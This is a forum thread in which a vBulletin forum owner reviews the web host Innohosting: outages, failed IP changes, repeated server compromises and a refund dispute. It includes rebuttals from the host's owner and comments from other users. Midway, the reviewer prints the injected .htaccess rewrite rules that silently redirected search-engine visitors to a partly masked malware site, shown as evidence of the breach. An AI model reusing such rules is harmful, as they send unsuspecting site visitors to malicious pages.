Innohosting.com Review

Our vBulletin forums that were once hosted at Innohosting.com are www.hometheatershack.com (http://www.hometheatershack.com) and www.bibletruthforums.com (http://www.bibletruthforums.com).

We signed up with Innohosting on about September 23, 2006. This all started as a result of reading some fairly good reviews here at WebHostingTalk.com forums. They appeared to be a pretty good company and I PM'd one of their reps, maybe the owner, I'm not sure which, his name is Rameen (his handle here is stealthdevil).

Keep in mind that I am not a pro at looking for hosting companies, although I've learned a lot from the few we have hosted with. Outside of having a very small personal webpage with GoDaddy for several years, I know nothing about web hosting to speak of. All I knew at the time I was speaking with Rameen was how terrible of a hosting experience we had been through for the 5-6 previous months of hosting our vbulletin forum (a review of one of those companies is posted here as well). I expressed and stressed how important uptime was to us as well as site speed. Of course, as most salesmen would do, he ensured me that we would have 100% uptime and no problems, although they only guarantee 99.9%. I was sold and felt like giving them a shot at our business.

Rameen and I are speaking via instant messaging. He completes all my stuff for me and gives me the link to pay. He did mention the TOS and I think okay... typical stuff that nobody ever reads (who really reads the fine print?).... seems like a nice and honest guy, what would they have to hide or why would they be any different than most other hosts? Actually at the time I really did not know what TOS was and unfortunately I did not pay it much attention. I admit, I shunned it off, regretably... I was simply too trustworthy. However, I never agreed to anything... there was no checkbox to check and/or no form to accept on a website or anything... it was merely an instant messaging type deal. I never told him I agreed to anything nor did I ever sign anything electronically or otherwise. He never advised me that I had to agree to anything before paying... we simply paid via Paypal.

We get it all setup and get our accounts transferred over to Innohosting and things go pretty well for about a week. From there it's downhill. It's like I explained to Chris at Innohosting when he accused me of being abusive to them with my words... it wouldn't have been so bad had Rameen not promised us so much in the beginning. We were expecting a superior hosting experience and what we got was far from it. So... let's look at our experience in detail...

Service began on 9/23/06 and things move along fairly well at 100% uptime for the first week.

10/2/06 I had a complaint from a staff member that the site was not loading... it was down already within the first 10 days. The support section on their site was not accessible so I eased on over here to WebHostingTalk.com forums and started a thread (http://www.webhostingtalk.com/showthread.php?t=551661&highlight=innohosting). If you look at the thread you will see that Rameen replies later that they had not experienced any outages. There is no doubt our site was down... all members were cleared out and I had no problem accessing any other site I went to other than ours hosted with Innohosting. Sometimes hosting companies do not want to admit when they have problems or they do not notice it themselves so they automatically assume it did not happen. I explain this in the thread... and notice post #7: "Same goes with my sites too. For the past 1 week there has been 1 or 2 outages but its less than 2 mins. Today was quite long. Really hope they fix it. Haven't heard of any maintenance notices too. If anyone knows what happened please let us know. Thanks." Apparently we were not the only site to be down.

10/17/06 Notice in the same thread as mentioned above, Rameen admits the server was down for about an hour and I post that it was a challenge to open a support ticket. Okay... I'm not going crazy at least... another customer has similar issues as you can see.

10/27/06 Our site goes down again... I mention it in that same thread and you can see that Rameen gets pretty defensive about it. Obviously he is in denial that they are having problems. I guess their monitoring software is not as dependable as they would like. There was no doubt about it... we were down and so were they. Notice he never responded after I explained it in detail. Obviously he could no longer deny it.

On 11/2/06 We had some previous email issues and learned we did not have a dedicated IP address. I asked for one as well as I asked them would there be any downtime and the reply was they had never experienced any with an IP change. I emphatically stated that we wanted no downtime. I specifically asked them if changing from a shared IP address to a dedicated IP address would be similar to moving servers. They claimed it was nothing like that and that we'd have no problems... so I agreed. For verification of this see this ticket (http://www.innohosting.info/innohosting-email-errors-incompetency.html).

On 11/3/06 I woke up and learned the site had been down for a little over 6 hours. I immediately opened a ticket at Innohosting and was told the following: "Hi William, It seems the IP change has caused some problems for your site. The server is actually up and serving sites. We are working on it and hope to have it fixed in a few minutes."

Of course the ticket continues back and forth and I am told that the datacenter didn't assign the IP to them and thus they had to change our IP back and it had to then resolve back to our previous IP (up to another 24 hours of possible downtime). How can a web host assign IP addresses and not even bother to test it or check and see if it's assigned to them? Why would you tell me that we would have no downtime if you knew the new IP had to resolve. Unfortunately I didn't realize this until afterwards... I understand much more about all this now than I did then. You have to remember, I'm counting on Innohosting to keep us straight. Nearly 24 hours later the site finally gets back up. So much for absolutely no downtime that I was promised.

On 11/4/06, Chris tells me everything is setup for the IP change and AGAIN he assures me that there will be no downtime... the IP will resolve instantly so I will not have to go through that propagation period. I'm like, okay, cool, but I don't want any downtime. At this point I'm assuming he has someway of swapping IP addresses without any downtime. I had heard of IP forwarding or redirect, but wasn't sure exactly how it worked. At any point, a few minutes later the site is down again. I am completely baffled at this point. Naturally I'm angry and upset. Chris tells me to clear my cache, etc, etc.... my response to him... "I have cleared my cache, but still the same, even on my other computer. Anyway, this is obviously something that does in fact cause the site to go down for a resolving period. I'm going to sleep, maybe it will all be worked out in the morning... at least I hope." I think this is a normal reaction to what has happened. After all, I've been misled for two days now about not having any down time. Later on that day I complained in a new ticket that our site was crawling and it was. It was slow as molasses. Much later that day it got better but still it was slower than normal. I was told it was a hung script. For supporting evidence of the site being down and the IP address problems, see this ticket (http://www.innohosting.info/innohosting-site-down-several-hours.html). We also had super high server loads during a long period which I documented... see this ticket (http://www.innohosting.info/innohosting-high-server-load.html).

11/7/06 I open another ticket because our site is still running super sluggish. Some pages taking 30 seconds to load. I had remembered back to when some of our staff members were complaining of how long some pages were taking to load. The first complaint by our staff was back on 10/25/06. See this ticket (http://www.innohosting.info/innohosting-slow-site-speed.html).

11/8/06 Our site goes down and I responded on an already opened ticket. It only goes down for a few minutes and they tell me they are "watching things closely".

11/9/06 I go to the forum and for some weird reason on a few links I click I get redirected to this ameana website with some kind of popup warning about a virus that is telling me I'm infected and it will not go away. I have no idea what's going on, but every time I go to the site I have popups and problems. I spend nearly all day on a another forum trying to figure out what in the world is going on. I'm not sure why, but for some reason I look at our .htaccess file and this is what it looked like:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*www.* (http://www.*) [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*
RewriteRule ^(.*)$ ****://****eyes.com/db/go.php?link=1 [R=301,L]

I deleted part of the website URL since I wouldn't want anyone accidentally going there as a result of seeing it here.

So, I'm wondering how in the world does someone break into our ftp account and change our .htaccess file? Surely this cannot be happening. Obviously I notify Innohosting to warn them of what happened and this is the response I get: "We are aware of this and have been working continuously (literally non-stop) for 12 days now resolving the issue. A newsletter updating everyone is going to be sent out shortly." They have known about it for 12 days? Why would they not tell us of this and advise us that our .htaccess files were altered if they knew about it. It sure would have saved me a lot of headaches. For evidence see this ticket (http://www.innohosting.info/innohosting-htaccess-security-breech.html).

11/11/06 Our site is down and had been down for several hours... the page was loading an error that I was not familiar with. I respond to an already open ticket at Innohosting and asked have they done anything to cause our site to go down? A little while later was informed that if I was having a problem that I needed to be more specific. I notice the terminology "Ioncube" in the error so I figured I visit vBSEO forums since I knew their program had something to do with Inocube. I was told by them that it appears our server no longer had Ioncube installed. I learned this is what is called IonCube Loader software and it's needed for most forums... especially if you run vBSEO. So I get more specific and tell Chris that something was up with Ioncube.

Don't forget... because of what Innohosting did our site was down for several hours. I actually ended up having to close the forum during the time I was trying to figure out what was going on. This is the response I get from Chris:

"You can turn your forum back online. We issued an emergency php recompile. The loaders were down for 3-5 min MAX. I would like to mention to you that I always get a sense of abuse with your comments. I do not feel that it is nessacary. With no disrespect, It seems that we can not please you in any way. Please understand that have been working up to 20 hr shifts to resolve this server issue on voyager. What has happened is something that is not uncommon in a shared environment. We very well could have taken the normal practice and moved you to a new server. However, you will be looking at 2 days downtime atleast. Instead, we fought our tails off to find any clues and act upon them. We went as far as even installing process loggers to review them when we have time. We are having a shaky time with voyager yes. I have a feeling of confidence that you will notice better performance after today as we shut down and removed several files that could have been the problem to cause the exploits. Let's calm down for a little bit.. We are always up to suggestions on improvements."

Now... I don't know about you, but I've been through a major nightmare for the last 10 days and I'm supposed to somehow be calm. I'm obviously abusing him or them with my comments. Oh... I've had nothing but problems for a solid 10 days and I'm just supposed to be giggling and laughing? So... I kindly reply as follows since it seems Chris needs to be enlightened on what we were promised during the sale:

Sorry you feel like I've abused you. I mean no offense... I call it like I see it. There is no reason for me to calm down since every time I post it's with a smile and many times with a chuckle. It's all somewhat funny to an extent, yet very serious.

You guys really must not do much in the real world out here though and you definitely have no concept of time. First off, what is happening is extremely uncommon... so uncommon I've not been able to find anyone else that has ever heard of such a security breech and I've been around since Internet started. Maybe it isn't uncommon with you guys... I don't know. Secondly... we were down for 15-20 minutes, not 3-5. We were actually down much longer than that (several hours) because I had no idea what had happened and after re-uploading the Ioncube loaders to the server, which on this slow connection of mine took 5 minutes, I was still getting the error. My first reaction was to unload the software that was using the loaders and that created about an hour of work to reinstall... all while our forum was closed.

As far as pleasing me... well, (now I'm smiling really big... grinning from ear to ear)... when I was searching for a host I expressed my concerns with our former two hosts and how we were experiencing downtime snippets, various issues here and there, sluggish speeds, etc. I advised then that we needed an extremely reliable host without all these problems (similar to what we are experiencing now... and I'm still smiling). I was told that you guys were the bomb (by Rammeen)... 100% uptime forever and I'd be on your best server, etc, etc. I even offered to pay more if needed to ensure I would be taken well care of and not have the issues we are having now.

Now put yourself in my shoes. I could almost guarantee anyone else would most likely have been gone like a freight train.

Hey, I'm learning though. See, you guys had not had any experience with a vBulletin forum and I think this all somewhat took you by surprise. All of the sudden one client is using 30, 40, even sometimes over 50% of the CPU on this server (this according to Rameen). Not hardly fair granted. MySQL queries are very processor intensive and it's apparent that a shared hosting account is going to be a tough ride, especially since we are growing very fast and it will only get more intense. It's also apparent that it is very difficult to find shared hosting for forums that does not have little nitty downtime issues quiet frequently.

You see... being on a forum we are online constantly... someone on our staff is there... we notice every instance of downtime, even if it is for only 30 seconds. Even a few seconds of downtime will clear out our members and visitors and very likely cause them either sign off, go to another site or even another forum. It hurts us... and until you run a forum that is making you money it will difficult for you to understand how important it is to keep those members and visitors connected. If you got just a regular ole website that doesn't do much, hardly anyone is gonna notice that few minutes of downtime. A forum is completely different and this is what I don't think most hosting companies that have never hosted forums or have never hosted a very busy forum will understand.

Bottom line Chris... I sincerely was not expecting to have any issues at all with you guys, not according to how I was sold. So, you should be able to figure out why it might seem like I'm abusing you with my words. It's frustrating, but I promise I'm smiling and I'm not being sarcastic. My wife is amazed at how I can discipline our daughter and never break a smile... how I can get upset with someone and be smiling the entire time. However, I'm will always call it like it is.... when it's black it's black and when it's white it's white... always will be that way.

With kindest respect,

Then Chris finally admits:

In all honesty, this exploit was issued over 12 times in the past few weeks. The changes were quickly reversed by hand by our staff. The only way to eliminate the source was to let it happen and see how it happened in our process logs. This is why your .htaccess files went unchanged. We could have quickly corrected the file and gone unnoticed, but we would have to do the same only a few hours later on an ongoing schedule. The hardest things we had to bite on was to keep this information from our clients (you). All of this is documented in this ticket (http://www.innohosting.info/innohosting-htaccess-security-breech.html).

Obviously I was a suspect. Otherwise they would have corrected our .htaccess quickly... read it... that is what he wrote. He had to keep it from us, the client. Now keep this in mind a little later on. I guess I remain a suspect for a while... even though it is causing me all kinds of headaches.

11/16/06 Our site goes down again for about 10-15 minutes. I opened a ticket and reported it since it was beginning to be a common thing I figured we needed records. See this ticket (http://www.innohosting.info/innohosting-site-down.html).

11/19/06 Another security breech... actually this was the fourth one total. Yep... four (4) times our .htaccess file was replaced with malicious content. This is pretty serious stuff and I am told they can't figure out who is doing it and have no fix for it. Of course they have offered to move us, but what difference would it make? They can't protect us now, how they gonna protect us later? See this ticket (http://www.innohosting.info/innohosting-security-breech.html).

Now remember earlier I stated we had started noticing sluggish speeds back around 10/25/06. We had a few features that were giving us problems... I started documenting these problems in a thread in our forum and kept a log on all the problems we were experiencing. After trying several different things I finally decided it was time to open a ticket with vBulletin support in an attempt to figure out what was going on. Pages were not loading and we were having some serious issues. I was thinking it was a vBulletin issue since it was only happening on a few features. Anyway, I spend a couple of days with vBulletin going through everything possible. I uninstalled over a dozen modifications that took me days to get installed just so we could eliminate any possible culprits. We had to close the forum on numerous occasions to troubleshoot the problems. When it was all said and done... guess where the problem was... yep... it was Innohosting hardening the php and using mod_security. See below.

11/24/06 I open yet another ticket and asked about "hardened php patch" and "mod_security" being installed on the server. Of course they admit it but refuse to believe that it effects vBulletin and refuse to do anything about it. The bottom line is that they installed this about a month before and that's when our problems started. This entire time we are having issues and our site is running sluggish as a result of their security breeches. See this ticket (http://www.innohosting.info/innohosting-vbulletin-errors.html) for full details.

Can you imagine having the problems we were having and continuing to use their hosting service, even if they did agree to upgrade us to a VPS for a minimal increase in cost? One problem after another after another. It was never ending. Surely no one in their right mind would continue. No, absolutely not!

I began back on 11/13/06 looking for us a dedicated server because I had given up on shared hosting after having all these problems. But this experience was by far the worst. I thought RealWebHost and Hostww was pretty bad, but this one was by far much worse. The funny thing about these shared hosting companies is they all had constant excuses and seem to always blame it on someone else and they got terribly upset if the customer complained. I suppose we are simply supposed to keep our mouth shut and never say a word about the poor service we get? Who are we supposed to contact if it's not who sold us?

Now I'll have to hand it to Rameen for one thing he did for us. I suppose he was really feeling pretty bad about the lousy service we had experienced. On 11/25/06 our dedicated server was ready and we needed help moving our main account, Home Theater Shack. Rameen actually moved it to the new server for us. Of course I thanked him and told him I'd give them good props for helping us out. It was very generous of him to do this. There are your good props Rameen. What this boils down to is that initially I was not even going to bring all this up. I was just gonna let it go. I had just about made up my mind to leave our other forum we had with them where it was, since it was just getting started and there is very littel traffic to it. However... on 12/1/06 that site went down and was having database errors. Plus I got to thinking, it's gonna continue to have those feature errors and run sluggish as well because of the php hardening and mod_security. Not to mention we had yet another security breech. Obviously the software they installed on the server was not helping stop the security breeches but it was sure making our site sluggish. I decided it was best to go ahead and move it as well and did so.


Now, let me ask you (the reader) a question. If you were a legitimate, honest, above board company that intended on staying in business for a long time... if you were running a business with the utmost integrity and respect for your clients, would you make a client that had been through what we have been through pay a dime? You know if you go to a restaurant and get a really bad meal, you know, one of those kind that make you wanna throw up, they don't usually make you pay for it. At least they don't if they are a well respected and quality restaurant, right? Of course not!


Think about all that we've been through... it's a miracle we are even alive. Even after all that I was not even expecting to get a full refund, although I can say without hesitation that I would have never made anyone pay for such horrendous service. That I can guarantee you. What I thought they would at least have the decency to do would be refund us for the period of time that we would not be using their service. The monthly fee was $40, which was $480 a year. I had agreed with Rameen to pay annually for a discount. He knocked off $50 and I paid the $430, plus some more later on for the dedicated IP address. Anyway, we'll just work off the $430. Any respectable company (I would think) would at least say, okay you have had some real hassles with our service so we are gonna charge you the monthly rate of $40 for two months with no discount since you wouldn't be paying for a full year if you paid by the month. We'll refund you the $350 difference. So they would end up charging us $80 + the IP address charge for really poor performance. Fair enough.

Obviously they don't agree, because their policy states no refunds after 16 days. They advised me quickly that I would not be getting a refund. It really didn't matter to them that the service we received was the epitome of poor service. I started out being nice about it and asking politely, but nope... they immediately started finding fault with me... turning the tables to try and make the customer look like they are at fault. I'm not sure how much more unprofessional it can get. First of all, most reputable companies wouldn't have such a policy as to not refund for service not provided. Most would stand behind their services. Second, regardless of policy, if I had put a customer through what we have been through, I would have the moral decency to give them a complete refund. To top it all off, they finally accused me of blackmailing and threatening them as well as abusing their service. I don't see how telling the truth is blackmail... telling the truth is not a threat... it's fact! As far as abusing their services... get real, they abused us. It's pretty hard to abuse services when the service being provided is extremely poor to begin with. How do you abuse service you don't have. Again, this is simply a deceptive tactic they use to get around any moral and ethical decisions they might have to make. See this ticket (http://www.innohosting.info/innohosting-account-canceled.html).

Now let's talk about threats... below is what Rameen wrote towards the end of the ticket where I tried to get our account reinstated... this ticket (http://www.innohosting.info/innohosting-deny-account-access.html).

Rameen has accused me of editing the ticket and adding his threat. I went to the client support area of Innohosting and took a screen shot of that entire page. As you can see from the screen shot, it would be impossible for me to edit their page. Screen shot of threat. (http://www.innohosting.info/images/screenshotofthreat.gif)

Here is Rameen's threat...

That precious forum of yours is very valuable and I bet the more visitors you get, the more money you make from the ads...It would be a tremendous shame if something happened to it.

At least we will know who to pursue should our forum get hacked.

A few other facts concerning their uptime comments... with proof... in this thread (http://www.webhostingtalk.com/showpost.php?p=4247488&postcount=9) here at WebHostingTalk.com, he makes this post...

I have one server at HiVelocity... They are pretty good, and the support I get has been exceptional... I've had 100% uptime since I have been with them. I would recommend them.

Then in this thread (http://www.webhostingtalk.com/showpost.php?p=4162391&postcount=9) which was some time before the claim of 100%... he makes this post...

We are currently installing new software and extra security on one of our servers. The server required a restart, however the data center (HiVelocity) had been mislabeled this server and took them almost an hour to find it and reboot it. Otherwise downtime would of only been a couple of minutes. We did express our concern in this issue and it was more or less out of our hands... We have had no recent reports of downtime other than when we experienced the above problem. If at anytime you experience an outage we recommend you open a ticket and include a tracert so we can troubleshoot it.


Furthermore... notice that just a few posts below his post in that same thread that another customer complains about downtime on that same server...

And yes i'm also facing a lot of downtimes lately. I did inform this the same to Chris. He also mentioned the same problem as you did. But after that also, at times the server or may be network is going down.

So how exactly is it possible that they could have 100% uptime? By Rameen's own admission, it is not possible. Draw your own conclusions.

Hopefully, if you are with Innohosting now, your experience will not end up being the same, which is one of the purposes of this thread. Otherwise, they have some work to do if they want to be a viable candidate for hosting.

Now, Rameen will claim that I'm ignorant, which I may be, you read the above and tell me. If I am, so be it, but that still doesn't mean we should be treated the way we have. He will claim that I'm angry and will do and say whatever.... of course I'm angry... I have a right to be angry. However, I can do and say whatever I want... I am limited for obvious reason. He may claim that I've edited tickets, which is false... I have no reason to do such. The one ticket he claims I have edited is no longer even on their system... they deleted it shortly after I took a screen print of it to prove I did not edit it.

Consider the bottom line... do you wanna go through what we went through?

I will give Rameen and Chris the last word here and I'll say no more... they can have at it. I don't think I need to say any more. I'm sure most everyone can figure it out... facts are facts and had we had good service and performance without all the security breeches, we'd still be with them.

I am almost halfway and I would just like to say, SHAME ON YOU INNOHOSTING. After all that has happened, making the client pay more and still giving him such service. I don't know about you William but if I was experiencing 3 or more downtime, I wouldn't stop and think if I should stay, I'd be "gone like a freight train" like you mentioned. If the host had a legitimate excuse ok, I'll try to understand but this... is inexcusable.

Isn't it better to give an unhappy customer a refund even if its past the trial period just to be a decent person/company? The guy obviously had problems with his account, why force him to adhere to the TOS? This way he left angry and started posting negative things about Innohosting, if he had gotten his refund he would have left happy and none of these posts would have happened. Also the people here reading about this have probably formed an opinion of the situation and my opinion is it does not look ethical for Innohosting to withhold a refund from this guy. I always give refunds regarldess of the time frame and I never hear from those unhappy people again. Just my thoughts.............

Hmm,

First he didn't know what a TOS was and he states he was never given a link to TOS.

"He did mention the TOS and I think okay... typical stuff that nobody ever reads (who really reads the fine print?).... seems like a nice and honest guy, what would they have to hide or why would they be any different than most other hosts?"


Then he goes back and forth about the TOS.

"Actually at the time I really did not know what TOS was and unfortunately I did not pay it much attention."


Come to find out, he has a TOS on his Forum. So what is it?

Why did you never respond to any questions in the ticket? That seems to be abuse on your part. Help was offered, you ended the tickets by yourself by leaving them unanswered.

This is obviously a run around.

Well, let me provide the other half of the story and point some things out...

- We have provided an average of 99.9% uptime consistently. He posted a review here claiming bad uptime just like here... But notice how that same review site says we have had 99.95% uptime. 0.5% more than our guaranteed. Never did I promise 100% uptime. I always said 99.9%. It's on the TOS, and it's on the knowledgebase, and also on every page. We make it clear.
Source: www.vistainter.com/reviews/I/innohosting.com/
Another site reporting our uptime: http://www.webhostingstuff.com/company/InnoHosting.html

You also claimed a server load of 1.7 as downtime and continued to update a ticket every 40 seconds telling us the server load. Abuse of service - we let it go.

So let's rule out the downtime. We may have some downtime due to a reboot problem, but nothing below 99.9% as guaranteed.

- He is calling me a liar and asking everyone to think I am lying:
Notice: He is the only customer having a bad experience with us and the only negative review in over 3 years
And also notice his own lies which he has posted:

Rameen and I are speaking via instant messaging. He completes all my stuff for me and gives me the link to pay. He did mention the TOS and I think okay...

Ok, so we agree I did tell you about the TOS. Something you denied in your tickets and something which you denied in the post: http://webhostingtalk.com/showthread.php?t=529861&highlight=innohosting

Ok, 2 lies already?

typical stuff that nobody ever reads (who really reads the fine print?).... seems like a nice and honest guy, what would they have to hide or why would they be any different than most other hosts?


Ok, so you know what a TOS is. Great...
but then you say:

Actually at the time I really did not know what TOS was and unfortunately I did not pay it much attention. I admit, I shunned it off, regretably... I was simply too trustworthy.

So now you are saying you don't know what a TOS is... even though you have one on your own website?

Another lie...

Next, the .htaccess issues.. This was a small exploit which was pretty hard to track down and secure. We brought Steve from Rack911 in to solve the problem. He has managed to secure everything. Furthermore all customer information is kept offsite, so no confidential information was compromised. Nor was any major damage done. No files deleted. Just a modification in a .htaccess file.
No box is 100% secure, every company is going to have these problems. We did it pretty well..

After the server was secured, you started complaining about the security we had implemented saying it affected your forum. First we are not secure, now we are too secure... Any pleasing you? Despite this, the security was not affecting your website. We have a vBulletin board ourselves, and it is operating just fine.

I have one server at HiVelocity... They are pretty good, and the support I get has been exceptional... I've had 100% uptime since I have been with them. I would recommend them.

Then in this thread which was some time before the claim of 100%... he makes this post...

We are currently installing new software and extra security on one of our servers. The server required a restart, however the data center (HiVelocity) had been mislabeled this server and took them almost an hour to find it and reboot it. Otherwise downtime would of only been a couple of minutes. We did express our concern in this issue and it was more or less out of our hands... We have had no recent reports of downtime other than when we experienced the above problem. If at anytime you experience an outage we recommend you open a ticket and include a tracert so we can troubleshoot it.

It's obvious you don't know what you are talking about..
When you buy a dedicated server, the uptime you get is network uptime and not server uptime.
HiVelocity has had 100% network uptime since we have been with them.
The issue I reported on downtime was our actual server downtime, nothing to do with our DC.


Next, why didn't we refund you for the rest of the year...
I was actually very close to refunding you.. However after considering the threats I had received from you & your attitude towards staff, I didn't see a reason why I shouldn't enforce the TOS.

You had been with us for over 65 days. Our TOS says you have only 16 days regardless of how long you are paying for.

I never told him I agreed to anything nor did I ever sign anything electronically or otherwise. He never advised me that I had to agree to anything before paying

You don't have to.. the same TOS which I asked you to read *before* receiving payment states:

By using any portion of InnoHosting services, you agree to the terms and conditions set on this document.

I already explained everything in this thread: http://webhostingtalk.com/showthread.php?t=529861&highlight=innohosting

The tickets you have posted are not official documents. We have the original tickets, and we know very well what was said and what wasn't..

Then you accuse us of being thieves and giving you poor service..
If we were thieves and were not interested in offering a good service.. why did we:
- offer a free upgrade to a fully managed VPS account
- offer a hassle free, instant transfer to another server
- Personally stay up and transfer your accounts at 4am in the morning
- Help you transfer away from us to your own server personally at 3am in the morning.

We didn't steal anything from you. You were free to use the account for as long as you paid for. You didn't want to. You voluntarily canceled the account.

To Conclude

This review really doesn't have anything to do with our uptime or quality of service. He is just angry that he didn't read the TOS, and requested a refund more than 2 months later after our money back guarantee.

The customer has mixed lies with the truth. He is angry and so determined to have a negative impact on us, that he is unable to see reason. I would ask customers not use this review to make their minds up about our company, but actually scour these forums and look for reviews from more reliable people other than this guy...

He claims he is only telling the truth, when the fact is.. with someone with so much anger and hatred towards a company, who is angry at themselves.... posts a review, that review is going to be biased and could not be further from the truth..

InnoHosting has been in business for over 3 years. We would never survive if what he claims is true. Nor would we get reviews from customers that have been with us for months/years.

This customer has contradicted themselves multiple times on this very post - everybody can see it..No facts have been posted, just a load of lies in your desperate attempt to skew the perception of honest customers looking for a decent provider.


@sTag-Dan: You should really consider both sides of the story before passing judgement. If someone went round posting lies about your company, I'm sure you would appreciated the same.

@SydneyJen: We offered the customer many alternatives. I don't see why I need to jeopardize the integrity of my company because a customer failed to follow straight forward protocol.

I will give Rameen and Chris the last word here and I'll say no more... they can have at it.

heh, somehow I really doubt that...

Well, let me provide the other half of the story and point some things out...
I would give you the last word if you would be truthful about it Rameen. Just be truthful and provide evidence as I have. There is nothing fabricated about anything I've written.

I actually posted a link to one of our tickets on your site and it worked for a short while... yes, a link to one of our tickets that clearly pointed out you were not being truthful. I even made a screen shot of it after you completely deleted the ticket. So, why did you delete the ticket Rameen? Because it called you out on an outright lie. It's pretty obvious people can figure it out. You just keep digging a deeper hole for yourself.




- We have provided an average of 99.9% uptime consistently. He posted a review here claiming bad uptime just like here... But notice how that same review site says we have had 99.95% uptime. 0.5% more than our guaranteed. Never did I promise 100% uptime. I always said 99.9%. It's on the TOS, and it's on the knowledgebase, and also on every page. We make it clear.
Source: www.vistainter.com/reviews/I/innohosting.com/ (http://www.vistainter.com/reviews/I/innohosting.com/)
Another site reporting our uptime: http://www.webhostingstuff.com/company/InnoHosting.html
So maybe these services are monitoring a server other than the one we were on... how do we know?

Something else to consider.... when you render our hosting service inoperable on your side and it does not bring the entire server down, that would not register if it were being monitored. The server may still be up, but our site is not up. Uptime to me, as I explained to you in the beginning, is keeping our site up. Even if you do keep your server up 99.9% of the time, you did not keep our site up but about 98% of the time. Do the math on the tickets Rameen.




You also claimed a server load of 1.7 as downtime and continued to update a ticket every 40 seconds telling us the server load. Abuse of service - we let it go.
I never claimed that as downtime.... where have I said that was downtime? I was simply helping you see the problem as to a possible reason our site was running so slow and you later explained why it was so high and agreed that it would make the server slower. Read the ticket Rameen, just read the ticket. You are simply proving that you cannot be truthful.



So let's rule out the downtime. We may have some downtime due to a reboot problem, but nothing below 99.9% as guaranteed.
In that other WebhostingTalk thread it is clearly evident that myself and your other two customers are referring to downtime. Whether it's network downtime or server downtime.... it is downtime and you even admit that there was downtime.

The point is, (read the thread), you claim there was no downtime, yet three of your customer prove there was downtime.

So now we know how you deceive people about downtime. Your claim to downtime is network related. Apparently you do not guarantee that a customers actual server or site will be up any amount of time.

In our conversation on IM, you kept telling me, don't worry Sonnie, you will not be having those problems anymore. Obviously you did not deliver.


- He is calling me a liar and asking everyone to think I am lying:
Notice: He is the only customer having a bad experience with us and the only negative review in over 3 years
Maybe others that have left you were paying by the month and just left. I don't see a lot of reviews period on Innohosting. From the thread we've linked to here it is apparent I'm not the only one that has ever had issues with your service.





Ok, so you know what a TOS is. Great...
but then you say:
I did not know what it was when we were talking on IM. I simply assumed it was the fine print, but I had never heard it called TOS.




So now you are saying you don't know what a TOS is... even though you have one on your own website?
Nope, we do not have any such TOS on our site Rameen. Give me a link to something on our site that has "TOS" on it. I think you have totally missed the point about this anyway.


Next, the .htaccess issues. No box is 100% secure, every company is going to have these problems. We did it pretty well..

After the server was secured, you started complaining about the security we had implemented saying it affected your forum. First we are not secure, now we are too secure... Any pleasing you? Despite this, the security was not affecting your website. We have a vBulletin board ourselves, and it is operating just fine.
Obviously you don't have your vBulletin hosted on the same server with which you have php hardening and mod_security.

I challenge you and anyone else.... go ask vBulletin if a vBulletin forum will run properly with php hardening and mod_security installed. I can assure you they will tell you it will not.

We never had this particular issue with any other host. They did not have this installed and I don't see anyone posting about their security issues anywhere.



It's obvious you don't know what you are talking about..
When you buy a dedicated server, the uptime you get is network uptime and not server uptime.
HiVelocity has had 100% network uptime since we have been with them.
The issue I reported on downtime was our actual server downtime, nothing to do with our DC.
Again, your customers in that thread were all complaining about downtime and you jumped in and stated you were not having downtime. Yet, your customers were trying to tell you that you were. You just refused to admit it.


The tickets you have posted are not official documents. We have the original tickets, and we know very well what was said and what wasn't..
Yes we all can clearly see what was said.

They don't have to be official documents Rameen, but they are excellent evidence of the truth.

You have yet to provide a link to a ticket. The one link I provided in the other thread was deleted by you. Why? Because it proved you were lying and you were caught in a lie. You had no choice but to delete the ticket. But that's okay because I got a screen shot of it Rameen. You are still caught in a lie buddy.


Then you accuse us of being thieves and giving you poor service..
If we were thieves and were not interested in offering a good service.. why did we:
- offer a free upgrade to a fully managed VPS account
Read the ticket Rameen. It is hardly free and you even quote the extra price for it being managed. Again, you cannot be truthful no matter how hard you try. You've dug yourself in such a big hole you can't crawl out.




- offer a hassle free, instant transfer to another server
Oh yeah... like the other hassle free and instant service you gave us? No thanks!



- Help you transfer away from us to your own server personally at 3am in the morning.
I have publicly thanked you for this Rameen. It's about the only good thing I can find that you did for us. I'm actually shocked that we didn't have problems.



We didn't steal anything from you. You were free to use the account for as long as you paid for. You didn't want to. You voluntarily canceled the account.
First of all, again you are not being truthful here. Read the ticket Rameen, you love twisting the truth, but again you don't provide evidence.

Why would I want to continue service anyway Rameen? I would have to be pretty desperate after all we have been through.





This review really doesn't have anything to do with our uptime or quality of service. He is just angry that he didn't read the TOS, and requested a refund more than 2 months later after our money back guarantee.

Naturally I'm angry Rameen, I have every right to be angry.

Now think about this Rameen...

First of all, you only addressed about 1/3 of my review because you have no defense whatsoever for the rest. What response you have provided has no evidence and nothing but more lies. It's pretty obvious Rameen. Anyone reading all this can figure it out.

Second, it doesn't take a brain surgeon to figure out why we left you. So somehow you want people to believe we didn't have a legitimate reason to leave you? You must really be lacking a few.

This review is about uptime, it's about quality of service and it's about a company who refuses to refund someone after they have had lousy service nearly the entire time we were with you.

Whether I had read the TOS or not, I would still be angry because our service was pitiful.

So let's just suppose that I did read the TOS and I had agreed to it. It wouldn't make any difference Rameen because you guys DID NOT provide a valid service. Your service was riddled with constant problems. For you to charge anyone anything for this type of service should be a criminal offense.... again, it amounts to glorified theft.

For crying out Loud, I seen you express your tears of your mistakes on a few sites now. You made a Hate site ... pff Grow up.

your forums:
http://www.hometheatershack.com/forums/register.php

WEB SITE TERMS AND CONDITIONS OF USE

